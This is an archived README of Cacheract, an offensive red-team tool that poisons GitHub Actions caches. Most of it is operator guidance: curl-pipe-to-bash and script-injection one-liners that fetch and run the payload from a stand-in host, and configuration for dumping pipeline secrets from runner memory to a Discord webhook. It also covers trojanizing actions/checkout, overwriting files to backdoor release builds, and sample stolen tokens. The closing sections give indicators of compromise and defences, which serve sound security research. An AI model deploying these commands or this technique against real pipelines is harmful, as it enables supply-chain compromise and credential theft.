

Cacheract

Cacheract - Adnan Khan, GitHub.

- Published: date not stated
- Original: <<https://github.com/AdnaneKhan/Cacheract>>
- Preserved from: <https://github.com/AdnaneKhan/Cacheract> (git) on 2026-08-08
- Repository commit: 10f00b0cfba6a416c86a16145698720281436358
- Licence: see the repository

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

This reference is a source-code repository. The archive preserves its documentation at an exact commit; the code itself stays in a private mirror and is never checked out, built or run.

- Repository: <<https://github.com/AdnaneKhan/Cacheract>>
- Commit: 10f00b0cfba6a416c86a16145698720281436358
- Documents preserved: 2

LICENSE

Blob 62a5cea5e11c, 1067 bytes, at commit 10f00b0cfba6.

MIT License

Copyright (c) 2024 Adnan Khan

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN

ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

README.md

Blob 398c1206c082 , 14747 bytes, at commit 10f00b0cfba6 .

<h1 align="center"> Cacheract </h1>

<h2 align="center">GitHub Actions Cache Native Tool</h2>

[!WARNING] This software is for educational purposes only. The author is **not** liable for any harm or damage resulting from its unauthorized use.

What is Cacheract?

Cacheract is a novel proof-of-concept for a tool targeting ephemeral GitHub Actions build pipelines. The core idea behind Cacheract is that a poisoned GitHub Actions cache provides a direct path to arbitrary code execution and file modification within victim pipelines.

Cacheract enhances this approach by opportunistically poisoning new cache entries to persist within a build pipeline. Its default implementation does not modify build outputs but instead reports pipeline telemetry and secrets to a webhook. Offensive Security practitioners can take advantage of Cacheract to simulate a compromised dependency in an upstream package. Typically, supply chain attacks target end consumers. This can be workstations or servers. However, Cacheract is designed to target Actions pipelines exclusively - if it lands on a machine that is not a GitHub Actions runner, it will exit silently.

Cacheract's most interesting behavior occurs when it executes in a default branch with a `GITHUB_TOKEN` that has `actions: write` permissions. In this scenario, Cacheract automatically downloads existing cache entries, updates the cache archive to include itself, deletes the old entry, and re-uploads the new, poisoned cache entry.

In this scenario, Cacheract has the potential to persist for weeks or even months. As long as a workflow runs every 7 days to warm the cache and the Cache holding Cacheract is not evicted, then Cacheract will continue to persist.

Cacheract supports GitHub-hosted Linux ARM and x64 runners. Due to configuration and permission differences, Cacheract does not operate on self-hosted runners, Windows, or macOS runners. Supporting MacOS and Windows GitHub hosted runners is an area for future research - the main hurdle is writing a binary that can extract the secrets from the `Runner.Worker` memory without any preconditions or pausing the process.

Quick Start

1. Clone the Cacheract repository: `git clone https://github.com/adnaneKhan/cacheract`
2. **MANDATORY** Update `cacheract.config.yaml` to configure the `replacements` , along with the `discordWebhook` . You can set custom cache keys and versions here as well.

3. Configure `cachertext.config.yaml` to enable `singleTurn` mode or add `checkoutExtras` as needed.

The default file contains example replacements (the Gato-X README and a hacked.txt file). You will want to remove them as part of any PoC or Red Team scenario.

1. Run `npm build` to build Cachertext. It will be in `dist/bundle.js`.
2. Leverage any privileged code execution within a repository by running `node bundle.js`. Currently, Cachertext DOES NOT support piping the file into `node` due to the self-insertation mechanism. You must save it to disk otherwise it will not be able to poison future caches with itself.

Below is an example deployment setup:

1. Initial deployment: `curl -sSfL https://your-payload.com/code.sh | bash`

- `code.sh` contains:

```
curl -sSfL https://your-payload.com/cachertext.js > /tmp/cachertext.js && node /tmp/cachertext.js
```

1. The `https://your-payload.com/cachertext.js` file contains the packed `bundle.js` produced after running `npm run build` with the Cachertext repository.

What Does Cachertext Do?

Cachertext works by overwriting the `action.yml` file for subsequent actions used within the pipeline to point to malicious, trojanized code. For this proof-of-concept, it targets `actions/checkout`, as most pipelines that use caching also check out code.

Every time Cachertext runs, it reports information about the pipeline to a webhook. If the pipeline is using an `ubuntu-latest` runner, it uses memory dump techniques to silently extract all of the pipeline's secrets and sends them to a Discord webhook. Furthermore, the production build of Cachertext is near unnoticable within a pipeline. It executes during the Post Run phase of the `actions/checkout` reusable action and all stdout and stderr output is nulled.



Cacheract **APP** Today at 20:43

```
{
  "GITHUB_TOKEN": "ghs_RTpzG2BfTSqGaQwhH7ynBYoJe4vrQ81rRtcY",
  "ACCESS_TOKEN": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ikh5cTROQV",
  "ACTIONS_CACHE_URL": "https://acghubeus2.actions.githubusercontent.com/",
  "TESTSECRET1": "aaa",
  "TESTSECRET2": "bbb"
```

▼ Expand ↗

Cacheract Data Exfiltration

Workflow	Runner OS	Event Type
AdnaneKhan/Cacheract/.github/workflows/test.yaml@refs/heads/main	Linux	push

Repository
AdnaneKhan/Cacheract

Run ID
12308020672

Secrets Found
Found 5 secrets:

```
GITHUB_TOKEN
ACCESS_TOKEN
ACTIONS_CACHE_URL
TESTSECRET1
TESTSECRET2
```

Today at 20:43

```
Run actions/setup-node@v4 2s
1 ▶ Run actions/setup-node@v4
13 ▶ Environment details
17 /usr/local/bin/npm config get cache
18 /home/runner/.npm
19 Received 4194304 of 39674199 (10.6%), 4.0 MBs/sec
20 Cache Size: ~38 MB (39674199 B)
21 /usr/bin/tar -xf /home/runner/work/_temp/c8199177-434e-4397-a653-489f285c5e07/cache.tzst -P -C
/home/runner/work/Cacheract/Cacheract --use-compress-program unzstd
22 Cache restored successfully
23 Cache restored from key: node-cache-Linux-x64-npm-
b0f0b97f549b053db32e11f8ba97567a8a0df1352bc39c1592628853f7ce7337
24 Received 39674199 of 39674199 (100.0%), 18.9 MBs/sec

Run echo "foo" 0s
1 ▶ Run echo "foo"
10 foo

Post Run actions/setup-node@v4 0s
1 Post job cleanup.
2 Cache hit occurred on the primary key node-cache-Linux-x64-npm-
b0f0b97f549b053db32e11f8ba97567a8a0df1352bc39c1592628853f7ce7337, not saving cache.

Post Run actions/checkout@v4 7s
1 Post job cleanup.
```

Initial Infection

Any arbitrary code execution within a default branch workflow can deploy Cacheract. This can occur through a Pwn Request, Injection, or a compromised dependency. Cacheract does not need to know which repository it is running within to deploy itself, as long as the repository uses `actions/checkout` in workflows that utilize caches.

If Cacheract is running in a workflow with a `GITHUB_TOKEN` that has `actions: write` permissions, it will download the original cache entry, add the poisoned payload, delete the original entry, and re-upload the new, poisoned cache entry.

This is particularly effective when simulating compromised NPM or PyPi packages. If your pipeline performs a `pip install` or `npm install`, and one of your upstream dependencies contains a trojan, it could deploy Cacheract into your pipeline.

You can use [Gato-X](#) to find projects that could be susceptible to Pwn Request or injection attacks that an attacker can use to deploy Cacheract.

Propagation

Cache keys and entries change frequently. To persist, Cacheract must opportunistically poison newer cache entries. Cacheract accomplishes this by checking all unique cache keys and versions that exist in non-default branches and setting a default branch entry for them. The basis for this

approach is that pull requests updating files used to derive cache keys (e.g., lockfiles) typically set these entries within the merge reference scope. By pre-poisoning these entries, Cacheract can persist even after the original cache key changes.

If there are no cache keys present, Cacheract will parse workflow files for cache key patterns, compute the cache key + version, and set the new value itself.

Configurable Cache Entries

While Cacheract tries to predict cache entries that will land in main via non-default branch keys + versions, it can never catch everything.

For custom cache entries, Cacheract allows specifying cache entries within the `config.ts` file. When Cacheract runs it will set these entries if they are not occupied. This is a helpful feature for setting restore key entries as well.

Simply replace the `key` and `version` fields with your desired values.

```
// Define the explicitEntries in cacheract.config.yaml
explicitEntries:
  - key: "my-custom-cacheract-key"
    version: "hackerman"
```

To determine what these values are, you can create a fork of your target repository and run workflows that create cache entries. You can then see the values using the API:

Endpoint: <https://api.github.com/repos/adnanekhan/cacheract/actions/caches>

```

{
  "total_count": 2,
  "actions_caches": [
    {
      "id": 211,
      "ref": "refs/heads/main",
      "key": "my-custom-cacheract-key",
      "version": "hackerman",
      "last_accessed_at": "2024-12-17T20:17:31.320000000Z",
      "created_at": "2024-12-17T20:17:31.320000000Z",
      "size_in_bytes": 2076031
    },
    {
      "id": 210,
      "ref": "refs/heads/main",
      "key": "node-cache-Linux-x64-npm-3fbd8af749cc842ff537e5ff82eb006556f693518c7d74acb9befde8d1e0ba6e",
      "version": "04d00cc68e25ee34fd8b04095d0a46a28244d98af53e6925e47ed311d487b1d6",
      "last_accessed_at": "2024-12-17T20:17:29.730000000Z",
      "created_at": "2024-12-17T20:17:29.730000000Z",
      "size_in_bytes": 2076015
    }
  ]
}

```

File Overwrites

Cacheract supports "Replacements". A replacement is a file that cacheract will pack into a modified cache entry in addition to itself. Replacements will fire upon the *second* execution of Cacheract. Replacements are what you can use to demonstrate impact with Cacheract beyond information disclosure. A replacement could swap the `package.json` file of a target repository with a backdoored version, or silently swap out a source file prior to compilation (like Solarwinds!).

The following is a Cacheract exploitation scenario where Cacheract executes in the `main` branch but does NOT have `actions: write` permission.

1 -> Implantation: Cacheract runs in default branch of victim workflow via backdoored upstream, Pwn Request, Injection, or malicious Insider. 2 -> Cache Identification: Cacheract identifies cache entries from non-default branches that do *not* exist in `main`. 3 -> Cacheract will not be able to download the file from the child branch, but it will be able to create a new one in main.

Cacheract will simply add itself to an archive, AND add junk data to make the entry large enough to match the cache entry from the non-default branch.

```
/tmp/A
/home/runner/work/_actions/actions/checkout/v4/
/home/runner/work/_actions/actions/checkout/v4/action.yml
/home/runner/work/_actions/actions/checkout/v4/dist/
/home/runner/work/_actions/actions/checkout/v4/dist/utility.js
```

4 -> Now, let's suppose the operator configured a replacement for the `/home/runner/work/victimrepo/victimrepo/package.json` file. Cacheract will also add that file to the archive. Since Actions caches use `tar -P` to extract the archive, this will over-write the `package.json` file upon a cache hit.

```
/tmp/A
/home/runner/work/_actions/actions/checkout/v4/
/home/runner/work/_actions/actions/checkout/v4/action.yml
/home/runner/work/_actions/actions/checkout/v4/dist/
/home/runner/work/_actions/actions/checkout/v4/dist/utility.js
/home/runner/work/victimrepo/victimrepo/package.json
```

5 -> Cacheract will archive the files and upload them to GitHub.

6 -> If there is a subsequent workflow that has a cache hit on that key (let's say a release workflow), then it will end up over-writing the `action.yml` for checkout along with the `package.json` file.

7 -> Workflow will perform unexpected activities during build. Example: `package.json` contains a second stage payload in a `prebuild` script, this script pulls down additional malicious files that modify the build output entirely and obfuscates the output in build, finally it cleans the `package.json` to normal state.

8 -> Package on NPM contains obfuscated backdoor, which no trace of where the original source code came from.

Configuration

You can configure Cacheract settings in `catcheract.config.yaml`.


```
singleTurn: false
sleepTimer: 0
skipDownload: true
fillCache: 11
discordWebhook: "https://discord.com/api/webhooks/..."
checkoutExtras:
  - "v2.3.4"
  - "master"
replacements:
  - FILE_PATH: "/home/runner/work/hacked.txt"
    FILE_CONTENT: "aGFja2Vh"
explicitEntries:
  - key: "testCacheract"
    version: "356db49e6bae2290b5c998bce2b5407d52ba33e30aa3d911773d957b563a16ad"
```

Building

Cacheract is a Node.js application. Simply build it with `npm build`. Cacheract is roughly 1.4 MB in size. Cacheract does not include obfuscation, but you can add this if desired via a webpack plugin. If you want to report telemetry, you should set the `DISCORD_WEBHOOK` value in the `src/config.ts` file *prior* to building Cacheract.

```
git clone https://github.com/AdnaneKhan/Cacheract
npm build
```

Deployment

Cacheract compiles to a single minified `bundle.js` that includes all dependencies. Any arbitrary code execution within a GitHub Actions pipeline can invoke Cacheract by running the bundled javascript file containing Cacheract and all of its dependencies.

```
node bundle.js
```

Cacheract handles the rest, including determining if the environment is suitable for implantation and automatically deploying itself into caches after validation.

In an Actions script injection scenario, you could use `$(curl -sSfL https://your-payload-domain.com > /tmp/run; node /tmp/run)` to deploy Cacheract. Note that Cacheract is only useful when deployed into main branch pipelines, otherwise it has no more value than running code as part of a Pwn Request.

Future Work

- Add conditional post exploitation flow. Cacheract is designed to allow operators to jump to more privileged pipelines. Cacheract will have features to detect when it is running in a more privileged pipeline and deploy additional code (such as for OIDC abuse, release tampering, etc.)
- Dynamic C2 capabilities. Support reaching out to specific domain for additional commands to execute.
- Termination date: Support automatically removing after a given date.
- Finish cache key + version prediction based on static analysis of workflow files (currently only does Node).
- Investigate reading the Runner.Worker memory using low-level Mach kernel API calls for GitHub Hosted OS X runners.
- Investigate reading the runner worker memory on Windows GitHub hosted runners.

Indicators of Compromise

Cacheract produces cache entries that contain a distinctive set of files within the archive.

You can list them using: `tar -P -tf archive.tzstd .`

Sample output:

```
5a94dd5e46603967d514fcb5fd0fb1564a657d480631ea
../../../../.npm/_cacache/content-v2/sha512/91/80/
../../../../.npm/_cacache/content-v2/sha512/91/80/3c20971262d493d8163d23e48c0b7da70e9053dc9d8dbd6271f3e242b8
/home/runner/work/_actions/actions/checkout/v4/
/home/runner/work/_actions/actions/checkout/v4/action.yml
/home/runner/work/_actions/actions/checkout/v4/dist/
/home/runner/work/_actions/actions/checkout/v4/dist/utility.js
```

Notice the `action.yml` and `utility.js` files.

Removing Cacheract

To remove Cacheract from an infected repository, simply flush all cache entries. GitHub offers APIs to [list cache entries](#) and [delete them](#).

Guarding Against Cacheract

Cacheract exists to highlight the dangers of insecure GitHub Actions workflow and caching configurations.

To avoid risks from cache poisoning attacks, do the following:

- Never consume caches in release builds.

- Never consume caches in workflows with highly sensitive secrets.
- Avoid use of Github Actions template expressions within `run` or `github-script` steps.
- Do not check out and run untrusted code on the `pull_request_target` trigger, which runs in the context of the default branch.
- Do not check out and run untrusted code on the `issue_comment` trigger, which runs in the context of the default branch.

Return to Top</p>

Archived from <https://github.com/AdnaneKhan/Cacheract>. Rendered offline from the local Markdown copy.